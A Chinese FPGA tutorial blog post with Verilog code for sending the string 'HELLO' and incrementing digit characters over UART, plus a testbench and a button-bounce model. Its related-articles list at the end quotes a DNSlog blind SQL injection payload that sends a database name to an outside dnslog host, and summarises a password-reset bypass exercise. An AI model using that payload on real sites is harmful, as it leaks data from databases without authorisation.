【FPGA零基础学习之旅#14】串口发送字符串

news2024/11/24 16:59:08

🎉欢迎来到FPGA专栏~串口发送字符串


  • ☆* o(≧▽≦)o *☆~我是小夏与酒🍹
  • 博客主页:小夏与酒的博客
  • 🎈该系列文章专栏:FPGA学习之旅
  • 文章作者技术和水平有限,如果文中出现错误,希望大家能指正🙏
  • 📜 欢迎大家关注! ❤️
    FPGQ2

CSDN

🎉 目录-串口发送字符串

  • 一、效果演示
  • 二、代码编写
  • 三、封装为模块
  • 四、其余项目
  • 五、后记

遇见未来

一、效果演示

🥝发送Hello:
hello

🥝发送数字字符并自增1:
adder1

🥝发送数字字符复位后从1开始发送:
adder2

二、代码编写

✨注:本篇文章需要使用到按键消抖模块串口发送模块(1byte)
按键消抖模块:【FPGA零基础学习之旅#10】按键消抖模块设计与验证(一段式状态机实现)。
串口发送模块:【FPGA零基础学习之旅#13】串口发送模块设计与验证。

首先展示整体代码和RTL视图。

代码:uart_string_tx_top.v

module uart_string_tx_top(
	input	Clk,
	input 	Rst_n,
	input 	key_in,
	output 	uart_tx,
	output 	led
);
	reg 	send_en;
	reg 	[7:0]data_byte;
	reg 	[2:0]cnt;
	wire 	Tx_Done;
	wire 	key_flag;
	wire 	key_state;
	
	localparam
		byte1 = "H",
		byte2 = "E",
		byte3 = "L",
		byte4 = "L",
		byte5 = "O",
		byte6 = "\n";
		
	KeyFilter KeyFilter(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.key_in(key_in),
		.key_flag(key_flag),
		.key_state(key_state)
	);

	uart_byte_tx uart_byte_tx(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.data_byte(data_byte),
		.send_en(send_en),
		.baud_set(3'd0),
		.uart_tx(uart_tx),
		.Tx_Done(Tx_Done),
		.uart_state(led)
	);

	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			cnt <= 1'b0;
		else if(Tx_Done)
			cnt <= cnt + 1'b1;
		else if(key_flag & !key_state)
			cnt <= 1'b0;
		else
			;
	end

	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			send_en <= 1'b0;
		else if(key_flag & !key_state)
			send_en <= 1'b1;
		else if(Tx_Done & (cnt < 3'd5))
			send_en <= 1'b1;
		else
			send_en <= 1'b0;
	end

	always@(*)begin
		case(cnt)
			3'd0:data_byte = byte1;
			3'd1:data_byte = byte2;
			3'd2:data_byte = byte3;
			3'd3:data_byte = byte4;
			3'd4:data_byte = byte5;
			3'd5:data_byte = byte6;
			default:data_byte = 0;
		endcase
	end

endmodule

RTL视图:

RTL1

🔸设计思路:
使用前文的串口发送模块(FPGA零基础学习之旅#13】串口发送模块设计与验证)一次只能发送1byte的数据,为了发送多比特的字符串数据,我们将字符串按照byte流发送出去即可。

🔸代码详解:
用于判断串口发送模块已发送完1byte数据:

always@(posedge Clk or negedge Rst_n)begin
	if(!Rst_n)
		cnt <= 1'b0;
	else if(Tx_Done)
		cnt <= cnt + 1'b1;
	else if(key_flag & !key_state)
		cnt <= 1'b0;
	else
		;
end

用于开启或关闭串口发送模块的使能信号:

always@(posedge Clk or negedge Rst_n)begin
	if(!Rst_n)
		send_en <= 1'b0;
	else if(key_flag & !key_state)
		send_en <= 1'b1;
	else if(Tx_Done & (cnt < 3'd5))
		send_en <= 1'b1;
	else
		send_en <= 1'b0;
end

通过查找表的方式将byte流发送出去:

always@(*)begin
	case(cnt)
		3'd0:data_byte = byte1;
		3'd1:data_byte = byte2;
		3'd2:data_byte = byte3;
		3'd3:data_byte = byte4;
		3'd4:data_byte = byte5;
		3'd5:data_byte = byte6;
		default:data_byte = 0;
	endcase
end

测试激励文件:

`timescale 1ns/1ns
`define clock_period 20

module uart_string_tx_top_tb;

	reg Clk;
	reg Rst_n;
	reg press;
	wire key_in;
	wire uart_tx;
	wire led;

	uart_string_tx_top uart_string_tx_top0(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.key_in(key_in),
		.uart_tx(uart_tx),
		.led(led)
	);
	
	key_model key_model(
		.press(press),
		.key(key_in)
	);
	
	initial Clk = 1;
	always#(`clock_period / 2) Clk = ~Clk;
	
	initial begin
		Rst_n = 1'b0;
		press = 0;
		#(`clock_period*20 + 1);
		Rst_n = 1'b1;
		#(`clock_period*20 + 1);
		press = 1;
		#(`clock_period*20 + 1);
		press = 0;
		
		wait(uart_string_tx_top0.Tx_Done &(uart_string_tx_top0.cnt == 3'd5));
		#(`clock_period*2000000 + 1);
		
		#(`clock_period*20 + 1);
		press = 1;
		#(`clock_period*20 + 1);
		press = 0;
		
		wait(uart_string_tx_top0.Tx_Done &(uart_string_tx_top0.cnt == 3'd5));
		#(`clock_period*2000000 + 1);
		
		$stop;
	end

endmodule

其中,仿真模型key_model:

`timescale 1ns/1ns

module key_model(press,key);
	
	input press;
	output reg key;
	
	reg [15:0]myrand;
	
	initial begin
		key = 1'b1;
	end
	
	always@(posedge press)
		press_key;
	
	task press_key;
		begin
			//50次随机时间按下抖动
			repeat(50)begin
				myrand = {$random}%65536;//0~65535
				#myrand key = ~key;
			end
			key = 0;
			#25_000_000;//按下稳定
			
			//50次随机时间释放抖动
			repeat(50)begin
				myrand = {$random}%65536;//0~65535
				#myrand key = ~key;
			end
			key = 1;
			#25_000_000;//释放稳定
		end
	endtask	

endmodule

关于上述仿真模型的基础讲解,见文章:【FPGA零基础学习之旅#10】按键消抖模块设计与验证(一段式状态机实现)。

仿真结果:

仿真结果

三、封装为模块

将uart_string_tx_top中发送字符串“Hello”代码的部分封装为一个模块,只需要把设计部分中使用到的输入输出信号整理好即可。

Str_Hello.v:

module Str_Hello(
	input 				Clk,
	input 				Rst_n,
	input 				Tx_Done,
	input 				key_flag,
	input 				key_state,
	output reg 			send_en,
	output reg [7:0]	data_byte
);

	reg 	[2:0]cnt;
	
	localparam
		byte1 = "H",
		byte2 = "E",
		byte3 = "L",
		byte4 = "L",
		byte5 = "O",
		byte6 = "\n";
	
	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			cnt <= 1'b0;
		else if(Tx_Done)
			cnt <= cnt + 1'b1;
		else if(key_flag & !key_state)
			cnt <= 1'b0;
		else
			;
	end

	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			send_en <= 1'b0;
		else if(key_flag & !key_state)
			send_en <= 1'b1;
		else if(Tx_Done & (cnt < 3'd5))
			send_en <= 1'b1;
		else
			send_en <= 1'b0;
	end

	always@(*)begin
		case(cnt)
			3'd0:data_byte = byte1;
			3'd1:data_byte = byte2;
			3'd2:data_byte = byte3;
			3'd3:data_byte = byte4;
			3'd4:data_byte = byte5;
			3'd5:data_byte = byte6;
			default:data_byte = 0;
		endcase
	end

endmodule

module Str_Hello的RTL视图:

RTLstr

将该模块例化到顶层模块中:

module uart_string_tx_top(
	input	Clk,
	input 	Rst_n,
	input 	key_in,
	output 	uart_tx,
	output 	led
);
	wire 	send_en;
	wire 	[7:0]data_byte;
	wire 	Tx_Done;
	wire 	key_flag;
	wire 	key_state;
		
	KeyFilter KeyFilter(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.key_in(key_in),
		.key_flag(key_flag),
		.key_state(key_state)
	);

	uart_byte_tx uart_byte_tx(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.data_byte(data_byte),
		.send_en(send_en),
		.baud_set(3'd0),
		.uart_tx(uart_tx),
		.Tx_Done(Tx_Done),
		.uart_state(led)
	);
	
	Str_Hello Str_Hello0(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.Tx_Done(Tx_Done),
		.send_en(send_en),
		.key_flag(key_flag),
		.key_state(key_state),
		.data_byte(data_byte)
	);

endmodule

顶层模块的RTL视图:

RTLstr2

四、其余项目

以使用串口发送模块发送字符串的思路,编写一个模块:
按下一次按键,串口发送字符“0”;再按下一次按键,串口发送字符“1”;… ;再按下一次按键,串口发送字符“9”。且每一个数字字符为一行。

🔸实现思路:
当接收到一次按键信号之后,串口发送模块依次发送数字字符和一个换行符;同时,再接收到一次按键信号的同时,内部的计数器开始计数,一次按键信号获取后计数器增加1,用于判断发送的数字字符的大小。

🔸实现效果:
adder3
🔸先看RTL视图来理解思路:
ADDERRTL
通过RTL视图,可以看到串口发送模块的Tx_Done信号是作为反馈信号输入给Num_Adder模块的,该信号即用于判断一个byte数据发送的完成。当一个数字字符发送完成并返回Tx_Done信号之后,需要继续发送一个换行符。

module Num_Adder.v:

module Num_Adder(
	input 				Clk,
	input 				Rst_n,
	input 				key_flag,
	input 				key_state,
	input 				Tx_Done,
	output reg 			send_en,
	output reg [7:0]	Num_byte
);
	reg [3:0]cnt;
	reg [1:0]cnt_N;
	reg [7:0]Num_byte_r;

//--------<发送数据的增加模块>--------		
	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			cnt <= 4'd0;
		else if(key_flag & !key_state)
			cnt <= cnt + 1'd1;
		else if(cnt == 4'd10)
			cnt <= 4'd0;
		else
			cnt <= cnt;
	end

//--------<数据查找表>--------		
	always@(*)begin
		case(cnt)
			4'd1:Num_byte_r = "0";
			4'd2:Num_byte_r = "1";
			4'd3:Num_byte_r = "2";
			4'd4:Num_byte_r = "3";
			4'd5:Num_byte_r = "4";
			4'd6:Num_byte_r = "5";
			4'd7:Num_byte_r = "6";
			4'd8:Num_byte_r = "7";
			4'd9:Num_byte_r = "8";
			4'd10:Num_byte_r = "9";
			default:Num_byte_r = 0;
		endcase
	end

//--------<发送“\n”的计数器>--------	
	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			cnt_N <= 2'd0;
		else if(Tx_Done)
			cnt_N <= cnt_N + 1'b1;
		else if(key_flag & !key_state)
			cnt_N <= 2'd0;
		else
			;
	end

//--------<发送“\n”>--------	
	always@(*)begin
		case(cnt_N)
			2'd0:Num_byte = Num_byte_r;
			2'd1:Num_byte = "\n";
			default:Num_byte = 0;
		endcase
	end

//--------<发送模块使能信号的处理>--------		
	always@(posedge Clk or negedge Rst_n)begin
		if(!Rst_n)
			send_en <= 1'b0;
		else if(key_flag & !key_state)
			send_en <= 1'b1;
		else if(Tx_Done & (cnt_N < 2'd2))
			send_en <= 1'b1;
		else
			send_en <= 1'b0;
	end	
	
endmodule

module uart_NumAdder_tx_top.v:

module uart_NumAdder_tx_top(
	input	Clk,
	input 	Rst_n,
	input 	key_in,
	output 	uart_tx,
	output 	led
);
	
	wire [7:0]data_byte;
	wire 	key_flag;
	wire 	key_state;
	wire	Tx_Done;
	wire  send_en;
			
	KeyFilter KeyFilter(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.key_in(key_in),
		.key_flag(key_flag),
		.key_state(key_state)
	);
	
	Num_Adder Num_Adder0(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.key_flag(key_flag),
		.key_state(key_state),
		.Tx_Done(Tx_Done),
		.send_en(send_en),
		.Num_byte(data_byte)	
	);
	
	uart_byte_tx uart_byte_tx(
		.Clk(Clk),
		.Rst_n(Rst_n),
		.data_byte(data_byte),
		.send_en(send_en),
		.baud_set(3'd0),
		.uart_tx(uart_tx),
		.Tx_Done(Tx_Done),
		.uart_state(led)
	);

endmodule

五、后记

我在我的每篇文章中都几乎放上设计的RTL视图,因为观察RTL视图,也是一种简单的debug方法。

在设计串口发送字符串的逻辑框架时,发现仿真一直出不来结果,直到我看了一眼RTL视图:
123
看了之后才发现是例化模块的时候,引脚绑定的大小写不一致导致的。

csdn

🧸结尾


  • ❤️ 感谢您的支持和鼓励! 😊🙏
  • 📜您可能感兴趣的内容:
  • 【FPGA零基础学习之旅#11】数码管动态扫描
  • 【Python】串口通信-与FPGA、蓝牙模块实现串口通信(Python+FPGA)
  • 【Arduino TinyGo】【最新】使用Go语言编写Arduino-环境搭建和点亮LED灯
  • 【全网首发开源教程】【Labview机器人仿真与控制】Labview与Solidworks多路支配关系-四足爬行机器人仿真与控制
    遇见未来

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067505.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上&#xff1a; 1、打开 http://www.dnslog.cn 获取域名 2、注入&#xff1a; ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显&#xff1a;

机器学习笔记 - 两个静态手势识别的简单示例

一、关于手势识别 手势识别方法通常分为两类:静态或动态。 静态手势是那些只需要在分类器的输入处处理单个图像的手势,这种方法的优点是计算成本较低。动态手势需要处理图像序列和更复杂的手势识别方法。 进一步了解可以参考下面链接。 静态手势识别和动态手势识别的区别和技…

jpype 调用jar时,返回结果的中文乱码

解决方法&#xff1a; 在启动java虚拟机的参数上&#xff0c;加上 "-Dfile.encodingUTF-8"

MongoDB集群管理

1、副本集-Replica Sets 1.1、简介 MongoDB中的副本集&#xff08;Replica Set&#xff09;是一组维护相同数据集的mongod服务。 副本集可提供冗余和高 可用性&#xff0c;是所有生产部署的基础。 也可以说&#xff0c;副本集类似于有自动故障恢复功能的主从集群。通俗的讲就…

项目管理中有效任务分配的简单指南

在项目管理中&#xff0c;有时会出现人力资源匮乏或负担过重的情况。因此&#xff0c;项目经理有责任确保在项目进度内&#xff0c;将任务于正确的时间分配给正确的人。 任务分配有哪些不容忽视的好处&#xff1f; 在专业项目管理工具的帮助下&#xff0c;正确地进行任务分配…

详解IDEA git 版本回滚

作者简介 目录 1.git分区 2.未commit&#xff0c;进行回滚 3.commit未push&#xff0c;进行回滚 3.1.undo commit 3.2.reset 4.已commit&push&#xff0c;进行回滚 1.git分区 git的版本回滚其实就是回滚不同的分区&#xff0c;所以在聊git回滚之前我们有必要简单了解…

ElasticSearch环境准备

Elasticsearch 是一个基于 Apache Lucene™ 的开源搜索引擎。不仅仅是一个全文搜索引擎&#xff0c;它还是一个分布式的搜索和分析引擎&#xff0c;可扩展并能够实时处理大数据。以下是关于 Elasticsearch 的一些主要特点和说明&#xff1a; 1.实时分析&#xff1a;Elasticsear…

文件格式转换

把我的悲惨故事说给大家乐呵乐呵&#xff1a;老板让运营把一些数据以json格式给我&#xff0c;当我看到运营在石墨文档上编辑的时候我人都傻了&#xff0c;我理解运营的艰难&#xff0c;可我也是真的难啊&#xff0c;在石墨文档编辑的眼花缭乱的&#xff0c;很多属性都错乱了(诸…

关于seata启动时连接数据库异常,Mysql版本8.0

异常报错&#xff1a; ERROR --- [ionPool-Create-1772825962] com.alibaba.druid.pool.DruidDataSource : create connection SQLException, url: jdbc:mysql://127.0.0.1:3306/seata?useUnicodetrue&rewriteBatchedStatementstrue, errorCode 0, state 08001 > com…

工信部教考中心:什么是《研发效能(DevOps)工程师》认证,拿到证书之后有什么作用!(上篇)丨IDCF

在计算机行业中&#xff0c;资质认证可以证明在该领域内的专业能力和知识水平。各种技术水平认证也是层出不穷&#xff0c;而考取具有公信力和权威性的认证是从业者的首选。同时&#xff0c;随着国内企业技术实力的提升和国家对于自主可控的重视程度不断提高&#xff0c;国产证…

最有趣的代码or最蠢的代码?

如何写漂亮的代码 “愚蠢的代码” 是一个主观的说法&#xff0c;因为代码的质量取决于许多因素&#xff0c;包括编写代码的人的经验、知识水平以及代码的上下文。但是&#xff0c;有一些常见的编程实践&#xff0c;如果被采用&#xff0c;可能会导致代码被认为是愚蠢的或低质量…

深入理解Docker:简化部署与管理的利器

文章目录 引言Docker简介Docker的背景和发展Docker的优势和特点 Docker的基本概念和架构镜像&#xff08;Image&#xff09;容器&#xff08;Container&#xff09;仓库&#xff08;Repository&#xff09;Docker架构 Docker的常用命令和操作Docker的安装和配置Docker镜像的管理…

墨者学院——登录密码重置漏洞分析溯源

先用17101304128的进行抓包 点击获取验证码 发现没有验证码&#xff0c;所以要用18868345809拿验证 抓包后&#xff0c;把17开头的电话号码改成了18开头的&#xff0c;然后获取验证码 然后用17开头的电话号码重置&#xff0c;用18开头的验证码 进行重置密码&#xff0c;拿到…

前端JavaScript入门到精通,javascript核心进阶ES6语法、API、js高级等基础知识和实战 —— Web APIs(七)放大镜实战

个人实战文档 本次实战是对自己整个api阶段的总结。 参考效果如下地址&#xff1a; http://erabbit.itheima.net/#/product/3995139 本次实战主要分为以下几个模块。 顶部导航模块 需求&#xff1a; 顶部导航开始不显示等页面滑到主导航栏&#xff0c;这个新顶部导航栏滑…

日志导致的io负载高和cpu飙升问题

1.问题 项目上线前需要对接口进行性能测试,发现有2个查询接口性能始终达不到上线要求 2.分析过程 取线程快照 打印线程堆栈日志: 通过上面发现54个线程处于 waiting on condition 状态,在等待写入磁盘日志,所以断定瓶颈在写入日志io这块所以将日志打印关闭,再部署一版试…

深度学习笔记之优化算法(三)动量法的简单认识

机器学习笔记之优化算法——动量法的简单认识 引言回顾&#xff1a;条件数与随机梯度下降的相应缺陷动量法简单认识动量法的算法过程描述附&#xff1a;动量法示例代码 引言 上一节介绍了随机梯度下降 ( Stochastic Gradient Descent,SGD ) (\text{Stochastic Gradient Descen…

再不跳槽,就晚了....

从时间节点上来看&#xff0c;3月、4月是每年跳槽的黄金季&#xff01; 以 BAT 为代表的互联网大厂&#xff0c;无论是薪资待遇、还是平台和福利&#xff0c;都一直是求职者眼中的香饽饽&#xff0c;“大厂经历” 在国内就业环境中无异于一块金子招牌。在这金三银四的时间里&a…

基于SVM+TensorFlow+Django的酒店评论打分智能推荐系统——机器学习算法应用(含python工程源码)+数据集+模型(一)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python环境TensorFlow 环境方法一方法二 安装其他模块安装MySQL 数据库 模块实现1. 数据预处理1&#xff09;数据整合2&#xff09;文本清洗3&#xff09;文本分词 相关其它博客工程源代码下载其它资料下载 前言 本项目以支…

三十一、【进阶】B+树的演变过程

1、B树简单介绍 &#xff08;1&#xff09;介绍&#xff1a;B树也属于B树&#xff0c;是B树的变种 &#xff08;2&#xff09;特点&#xff1a;所有的数据都位于叶子节点上&#xff0c;叶子节点上的所有元素形成了一个单项链表 &#xff08;3&#xff09;图示&#xff1a; 2…

多微信如何自动发朋友圈?

想要做私域&#xff0c;朋友圈是我们不可忽视的一部分。无论是促进潜在客户下单&#xff0c;还是引导老客户二次下单&#xff0c;朋友圈的经营需要我们用心去打造。 这怎么理解呢&#xff1f;我们可以在一天内定时发送几条朋友圈&#xff0c;分段时间发&#xff0c;这样微信好…